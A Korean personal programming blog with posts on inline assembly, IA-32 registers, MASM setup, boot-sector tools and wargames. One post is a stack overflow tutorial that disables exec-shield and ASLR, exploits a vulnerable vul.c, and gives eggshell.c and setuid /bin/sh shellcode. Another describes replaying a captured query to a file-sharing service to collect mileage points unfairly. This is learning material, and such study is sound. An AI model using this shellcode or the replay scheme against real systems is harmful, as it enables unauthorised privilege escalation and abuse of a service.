1. VC++ 6.0

VC++ 6.0 (이하 VC++) 에서는 인라인 어셈블을 __asm 형식으로 사용한다.

여러개의 어셈블 명령어를 사용하려면 { } 로 묶어주면 된다.

2. GCC

GCC 에서는 asm( ); 형식을 사용하거나,
__asm__ ( ); 형식을 사용한다.

보통 __asm__ __volatile__ ( ); 형식으로 사용하라고 권한다.

GCC 는 (명령어 input output) 형태로 들어가게 된다.

자세한 사항은

http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html 혹은
http://wiki.kldp.org/wiki.php/DocbookSgml/GCC_Inline_Assembly-KLDP

참고하면 된다.

3. 예제

변수의 overflow 를 체크하는 것을 만들어 보자.

변수가 overflow 가 발생했는지 알아보는 방법은 cpu의 flag 중 CF(carry flag) 가 세팅되어졌는지를 확인하는 것이다.
cpu flag 를 확인하는 방법은 어셈블을 사용할 수 밖에 없다.

flag 를 확인하는 방법 말고 다른 방법또한 존재하겠지만, 인라인 어셈블을 이용해서 확인을 해보도록 하자.
3.1 VC++

__asm {
      pushfd;          // eflags(32bit) 값을 스택에 넣는다.
      pop eax;        // eflags 값을 eax 에 넣는다.
      and eax,0x1;  //  0 bit (CF) 가 1인지 확인을 한다.
      mov i, eax;   // 그 값을 변수 i 에 넣는다.
}

이것을 매크로로 만들어도 된다.

#define CHECKOVERFLOW(x) __asm pushfd __asm pop eax __asm and eax,0x1 __asm mov x,eax

테스트 코드는 다음과 같다.
#include <stdio.h>
#define CHECKOVERFLOW(x) __asm pushfd __asm pop eax __asm and eax,0x1 __asm mov x,eax
int main(int argc, char* argv[])
{
 long l=0xFFFFFFF0;
 int sum;
 int flag;
 scanf("%d",&sum);
 l += sum;
 CHECKOVERFLOW(flag);
 if(flag){
  printf("over flow: %u\n",l);
 }
 else
  printf("not over flow:%u\n",l);
 
 return 0;
}

3.2 GCC

GCC 에서는 VC++ 과 다르게 C 내에서 선언한 변수를 쓸때에는 %0, %1 을 사용하여야 한다.
 asm ("mov %%eax, %0" :"=g"(flag));
여기서 %0 은 flag 란 변수를 뜻하는 말이다.

나머지는 VC++ 과 똑같다.

테스트 코드는 다음과 같다.
  1 #include <stdio.h>
  2
  3 int main()
  4 {
  5   long l=0xFFFFFFF0;
  6   int sum;
  7   int flag=0;
  8
  9   scanf("%d",&sum);
 10   l += sum;
 11
 12   asm ("pushf");
 13   asm ("pop %eax");
 14   asm ("and $0x1, %eax");
 15   asm ("mov %%eax, %0" :"=g"(flag));
 16
 17   if(flag)
 18     printf("overflow : %u\n",l);
 19   else
 20     printf("not overflow : %u\n",l);
 21   return 0;
 22 }



 

[만들면서 배우는 OS 커널의 구조와 원리] - 한빛미디어社, 김범준 저

이 책의 소스를 이용하여 실습해 보면 된다.

하지만 이 책에서는 플로피 디스크로 실습해보는 방법이 나와있다.

매번 소스코드를 만들고 재부팅하려면 무지 귀찮기 때문에 VMware 라는 가상머신을 이용해보기로 했다.

그리고 플로피디스크가 없는 관계로 USB 외장메모리를 이용하기로 했다.

근데 VMware 가 USB 메모리를 하드디스크로 인식하지 못한다.

그래서 검색한 결과


http://ucandream.tistory.com/entry/VMware-USB-Booting-VMware%EC%97%90%EC%84%9C-USB%EB%A1%9C-%EB%B6%80%ED%8C%85%ED%95%98%EA%B8%B0

여기에 아주 자세히 설명이 되어 있었다.

여기서는 파티션을 나눠라고 나와 있는데 그렇게 하지 않아도 되고 데이터의 손실도 거의 없는 방법이 있다.

Hitachi Disk Driver 이걸로 이동디스크를 로컬디스크로 만든다.

그리고 USB 디스크의 0 sector 에 부트스트랩코드를 올리면 된다.

그전에 0 sector 를 백업해 놓으면 다시 안에 들어있던 데이터를 복구할수 있다.

0 sector 의 백업과 저장하는 프로그램을 직접 만들어 보았다.


드라이버를 선택해 select 를 누르면 0 번째 sector 가 출력이 된다.
이것을 backup 버튼을 누르면 .bin 파일로 저장할수 있다.

밑에 원하는 코드를 열면 밑에 코드가 출력이 되고, write 를 누르면 해당디스크에 내용이 써진다.

오류도 많고 버그도 많으니 알아서 사용하길... 별 추천은 하지 않는다.

혹시 하드디스크 섹터를 날려 먹을수 있으므로...

vc++6.0 이 없으면 dll 에러가 날수 있는데 mfc42.dll 을 다운받은뒤 실행파일과 같은 곳에 넣으면 된다.

dll 파일은 알아서 구하시길..

클럽박스나 피디박스 프로그램을 실행시키면 1시간마다 10점 혹은 12점의 마일리지를 적립할수 있다.

12점 마일리지를 받을 경우 자신의 네트워크 자원을 사용하므로 약간은 부담이 갈 수 있다.

그렇다고 마일리지를 얻을려고 다운받지도 않고 있는데 피디박스나 클럽박스를 켜놓기도 부담스럽다.

특히나 온라인게임을 할때 피디박스나 클럽박스가 실행되고 있으면 게임이 실행되지 않는 경우까지 발생한다.

그래서 생각해 보았다. 사실 1시간마다 주는 마일리지를 좀더 시간단축하고픈 마음이었지만...

일단 생각할수 있는 시나리오는,

1. 시간을 재는 프로그램 카운터를 빨리 진행시킨다.

이 방법을 사용하려고 프로그램을 분석해 보았지만, 실력이 짧은 관계로 카운터를 빨리 진행시키는데 실패하였다.

이런 프로그램이 있었던것 같았는데, 패치가 된 듯하다.

2. 마일리지를 받는 순간을 노린다.

1시간이 되면 거의 즉시 마일리지 적립확인이 가능하다. 프로그램상이든, 웹상이든...

여기서 착안을 하여 프로그램에서 서버로 뭔가를 전송한다고 생각되었다.

패킷 캡쳐 프로그램으로 캡쳐해보니 역시나 특정서버로 특정 문자열을 전송하는것을 확인 할 수 있었다.

혹시? 하는 생각에 계속 그 문자열을 날려 보았지만...

결과는 서버에서도 시간을 측정하였기 때문에 시간단축은 안 되는 것이었다.

처음에는 질의(query)가 매 시간마다 바뀌어서 반영이 안되는줄 알았지만, 그것은 아니었다.

이 것으로 피디박스나 클럽박스 프로그램이 실행중이 아니라도 마일리지를 얻을 수 있게 되었다.

해당서버로 매 시간마다 특정 쿼리(query)를 날려주면 알아서 그걸 반영해 준다.

한마디로 내 네트워크 자원을 안 빌려주고도 12점이라는 마일리지를 받을수 있다.

자신이 직접 프로그래밍하여 시간마다 특정 쿼리를 날리는 프로그램을 만들수도 있고...


dumpcode 는 ohhara님께서 만든 해더파일이다.

사용법은
#include "dumpcode.h"

dumpcode(address,size);
하면 된다.

void printchar(unsigned char c)
{
        if(isprint(c))
                printf("%c",c);
        else
                printf(".");
}
void dumpcode(unsigned char *buff, int len)
{
        int i;
        for(i=0;i<len;i++)
        {
                if(i%16==0)
                        printf("0x%08x  ",&buff[i]);
                printf("%02x ",buff[i]);
                if(i%16-15==0)
                {
                        int j;
                        printf("  ");
                        for(j=i-15;j<=i;j++)
                                printchar(buff[j]);
                        printf("\n");
                }
        }
        if(i%16!=0)
        {
                int j;
                int spaces=(len-i+16-i%16)*3+2;
                for(j=0;j<spaces;j++)
                        printf(" ");
                for(j=i-i%16;j<len;j++)
                        printchar(buff[j]);
        }
        printf("\n");
}
많은 공개된 문서는 최신 배포판 환경에서 테스트된 것이 거의 없다.

심지어 모두 x86 환경이다.
64bit 환경에서 다루어진 문서도 별로 없다.

그래서 09년 01월 현재 최신 배포판인 fedora10(x86) 에서 다뤄보도록 하겠다.
64bit 를 연구해봤으나 실력이 부족한 관계로 누군가에게 pass 하도록 하겠다.


사실, fc4 와 fc10 은 별 차이가 없다.

fc4 부터 random stack 과 exec-shield 가 적용되어 있다.

gcc 2.96 이전버전과 fc10 에서 사용되고 있는 gcc 4.3.2 의 스택은 상당한 차이를 보이고 있다.

여기에서는 일단 본인부터 실력이 초보이므로, random stack 과 exec-shield 환경이 아닌 것에서부터 출발할것이고,

다만, gcc 4.3.2 와 gcc 2.96 이전버전 을 모두 다뤄보도록 할 것이다.

gcc 4.3.2 버전에서 2.96 이전버전으로 컴파일하는 방법은 -mpreferred-stack-boundary=2 라는 옵션으로 컴파일하면 된다.

그리고 exec-shiled 와 random stack off 방법은

[root@localhost]# sysctl -w kernel.exe-shield=0
[root@localhost]# sysctl -w kernel.randomize_va_space=0

이란 명령을 내려주면 된다.

이런 환경에서
vul.c
-------------------------------------------
#include <string.h>
int main(int argc, char **argv)
{
char buf[4];
strcpy(buf,argv[1]);
return 0;
}

이란 소스코드를
[waintman@localhost]$ gcc vul.c -o vul -mpreferred-stack-boundary=2

위와 같이 컴파일하면 일반적인 상황에서의 buffer overflow 공격이 가능해진다.
eggshell 이 띄워진 상황에서

[waintman@localhost]$ ./vul `perl -e 'print "\x04\xf4\xff\xbf"x3'`

일단 맛보기이므로 자세한 설명은 다음에 하도록 한다.

[waintman@localhost oldgcc]$ uname -na
Linux localhost.localdomain 2.6.27.5-117.fc10.i686 #1 SMP Tue Nov 18 12:19:59 EST 2008 i686 athlon i386 GNU/Linux



wargame 이나 기타 linux 상에서 shell 을 얻기위해서는 eggshell 이란 놈을 이용하는 것이 편하다.

eggshell 에 대해서는 phrack 49-14호에 있는 smashing the stack for fun and profit 이란 문서를 보면 자세히 나와있다.

eggshell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <memory.h>

#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     256
#define DEFAULT_EGG_SIZE        2048
#define NOP             0x90

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
char    *buff, *ptr, *egg;
long    *addr_ptr, addr;
int     offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int     i, eggsize=DEFAULT_EGG_SIZE;

if ( argc > 1 ) bsize = atoi(argv[1]);
if ( argc > 2 ) offset = atoi(argv[2]);
if ( argc > 3 ) eggsize = atoi(argv[3]);

if ( !(buff = malloc(bsize)))
{
printf("Can't allocate memory for bsize\n");
exit(0);
}

if ( !(egg = malloc(eggsize)))
{
printf("Can't allocate memory for eggsize");
    exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *)ptr;
for(i = 0; i < bsize; i+= 4)
*(addr_ptr++) = addr;

ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);
putenv(egg);
memcpy(buff, "RET=", 4);
putenv(buff);
system("/bin/bash");
}

파일에 setuid 가 걸려있더라도 소스코드내에 setreuid() 가 없으면 권한이 바뀌지 않으므로, shellcode 앞에
setreuid(geteuid(),geteuid()) 관련 기계어를 넣어주었다.

좀더 작은 shellcode는 다음과 같다.

test_shell.c
int main()
{
char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
"\x31\xd2\xb0\x0b\xcd\x80";
(*(void(*)())shellcode)();
return 0;
}


해킹대회의 문제은행(?) 같은 곳이라고 생각한다.

국내에서 잘알려진 곳으로는 해커스쿨이 있다. (해커즈랩은 이제 안하는 듯)

프로그램을 debugging 혹은 소스코드를 분석해서 그 취약점을 이용하여 level up 하는 것이 목표이다.

주로 buffer overflow 나 format string bug 문제가 대세를 이루고 있다.

telnet 혹은 ssh 를 통해 로그인후 문제를 풀거나, 웹 페이지의 버그를 이용해 풀수 있다.

예전에는 이걸 풀 수 있으면 진짜 해커가 된듯한 착각속에 빠졌었는데, 알고보니 그냥 게임일 뿐이었다.

wargame 이나 해킹대회문제를 잘 푼다고 해서 꼭 해킹을 잘하는 것은 아닌것 같다.
 (이런 문제들은 보안 취약점을 고의적으로 포함하고 있기 때문에)

그래도 이런것을 모르면서 해커라고 하기엔 좀 무리가 있는것도 같다. '이런것들을 응용할수 있어야
실제 프로그램들이나 서버환경의 취약점을 발견할 수 있지 않을까?' 라고 생각해 본다.

http://www.overthewire.org/wargames/vortex/

여기 있는 문제의 풀이...

인터넷에서

vortex level

로 검색하면 많은 풀이를 볼수 있다.

그저 수많은 풀이중의 하나에 불과하지 않을 뿐더러 많은 공개되어 있는 풀이들을 참고로 했음.


1. Basic Execution Program Registers

위 그림은 IA-32 Architectures Software Developer's Manual Volume:1 에서 가져온 그림이다.
(아래 내용들도 역시  IA-32 Architectures Software Developer's Manual Volume:1 여기서 가져온 내용이며, 한글설명은 본인의 생각이다.)
IA-32 에서 사용되고 있는 레지스터들을 보여주고 있다.

어셈블리 프로그래밍을 할때 최소한 이 레지스터들이 뭐하는 것들인지는 알고 있어야 프로그램이 가능하므로, 공부해보도록 하자.

1.1  General-Purpose Registers

  •  EAX : Accumulator for operands and results data. (그냥 산술 연산에 쓰이는 레지스터.  그냥 일반적으로 많이 쓰인다. )
  •  EBX: Pointer to data in the DS segment. ( Base 레지스터라고 알아두면 된다. 꼭 이 용도로만 사용되는 것은 아니다.)
  • ECX: Counter for string and loop operations. ( Loop 명령시 ecx 레지스터값을 보고 0 이 아니면 반복문을 실행한다.  왜 꼭 loop 를 돌때 ecx 를 참고하냐고?? intel 에서 그렇게 만들었으니까)
  • EDX: I/O pointer. ( destination 레지스터라고 알아두면 된다. 꼭 이 용도로만 사용되는 것은 아니다.)
  • ESI: Pointer to data in the segment pointed to by the DS register; source pointer for string operations.(source index 레지스터라고만 알아두자.)
  • EDI: Pointer to data (or destination) in the segment pointed to by the ES register; destination pointer for string operations.(destination index 라고 알아두자.)
  • ESP: Stack pointer (in the SS segment). ( 좀 중요하다 스택 push, pop 할때 자주 나오므로 알아두면 좋다. esp 값을 바꾸지 않아도 push, pop 명령으로 알아서 esp 값이 바뀐다.)
  • EBP: Pointer to data on the stack (in the SS segment). ( base pointer 로서 esp 값이 계속 바뀌므로 스택의 기준점을 정하기 위해 ebp 사용한다. 보통 push ebp , mov ebp,esp 명령을 내린다.)

 

'E' 가 붙은 것은 32bit 레지스터이고 ax,bx,cx,dx 는 16bit, ah,al ... 은 8bit 이다. 자세한 이해는 아래그림을 참고하면 된다.




나머지 레지스터들은 그렇게 비중이 있는 것은 아니니까 ... skip...
필요하면 언급하겠음.


MASM 이란?
Microsoft Macro Assembler 란 뜻으로
MS 에서 무료로 제공해 주는 어셈블러 이다.

어셈블러로 목적코드를 만들때 쓰는 프로그램은 ml 이고,
실행파일을 만들기 위한 링커는 link32 또는 link16 또는 link 이다.

믈론,  Visual Studio Express(무료) 버전을 설치해도 ml 과 link 는 제공된다.

MASM 설치하기

먼저 필요한것들로는

MASM 6.15 혹은 MASM 6.11 혹은 MASM32 SDK (v10)

이 세가지중 하나가 있으면 되겠다.

MASM 6.15 를 가지고도 win32 application 프로그래밍이 가능하지만, MASM32 가 대세인듯 하다.

모두 무료제공이니 인터넷에서 다운받아 설치하면 된다.

MASM 6.15 버전은
"Assembly Language For Intel-Based Computers, 4th" 의 책에서 제공되는 프로그램을 설치하면
Irvine32.inc 와 Irvine32.lib 이 같이 설치되고 make32.bat 파일로 바로 실행파일까지 만들어 준다.

만약 Irvine32.inc 와 Irvine32.lib 을 못구하면 역시 인터넷에서 다운받아 사용할수 있다.

Irvine32 파일은 여러가지 라이브러리를 제공해 주므로 가지고 있으면 여러므로 편하게 사용할 수 있다.

MASM with IDE

요즘 코딩은 IDE 가 없으면 상당히 불편하다. 이를 위해 WinAsm 이란 IDE 툴을 설치하면 작업하기 한결 편리하다.
WinAsm 의 라이센스 정책이 어떤지 모르겠으나 winasm.net 사이트에서 다운받아 사용할수 있다.

그리고 약간의 설정을 해준다면 MASM32 + WinAsm 으로 통합환경을 만들수 있다.
물론 Visual Studio 2005 나 Visual Studio 2008 로도 가능하지만,
Visual Studio 는 어디까지나 상용 버전이기 때문에 설명은 하지 않겠다.

물론 Express Edition 은 무료로 제공하고 있으니, Express Edition 으로 작업해도 무방할듯 하다.

WinAsm 설정

일단  WinAsm 압축파일을 다운받아 압축을 풀면 WinAsm 폴더가 생긴다. 이것을 자신이 원하는 곳으로 옮기면 설치는 끝난다. 따로 설치를 할 필요가 없다.
이것은 단지 Tool 이므로 세팅을 통해서 MASM 과 연결시켜야 한다.

MASM 과 연결시키는 방법은 다음과 같다.


실행 화면에서 [Tools] -> [Options] 를 선택한다.

[Options] 의 Files&Paths 탭 항목에서 MASM32 가 설치된 디렉토리의 각 경로게 맞게 설정해준다.

이렇게 하면 기본 설정은 끝이 난다.

Assembly & Linking &  Execute

설정이 끝났으면
[File] -> [New Project] 를 선택해서 프로젝트를 하나 생성한다.
Standard EXE 를 선택해도 되고 Console Application 을 선택해도 된다. 여기서는 Console Application 으로 해보겠다.

그리고 원하는 asm 코드를 작성하면 된다.

 


	INCLUDE	Irvine32.inc
	.data
	message		BYTE	"Hello, World! ",0dh,0ah,0
	
	.code
	main PROC
	mov			edx,OFFSET message
	call			WriteString
	call			WaitMsg
	exit
	main ENDP
END main



그 다음에 [Make] -> [Assemble] , [Make]->[Link] 를 해야 되는데
이상하게 Link 가 되지 않는다. WriteString , WaitMsg 함수 심벌을 못찾는다고 한다.

이 이유는 Irvine32 라이브러리 함수이기 때문에 이 링킹 옵션에 이 라이브러리를 추가시켜주어야 한다.
Irvine32.inc 파일은 include 폴더에 Irvine32.lib 은 lib 폴더에 복사해 주고

[Project] -> [Properties] 를 선택한 후

Debug 와  Release 탭의 Link 란에
irvine32.lib user32.lib kernel32.lib 을 추가해준다.

그리고 다시 assemble 과 link 를 실행하면 exe 파일이 생성된다.
그리고 [Make] -> [Execute] 를 하면

실행화면이 나타난다.


소스코드의 설명은 생략......

다음번엔 이런 자세한 설명은 없을 듯....

순전히 나의 공부를 위해서 !!!!

+ Recent posts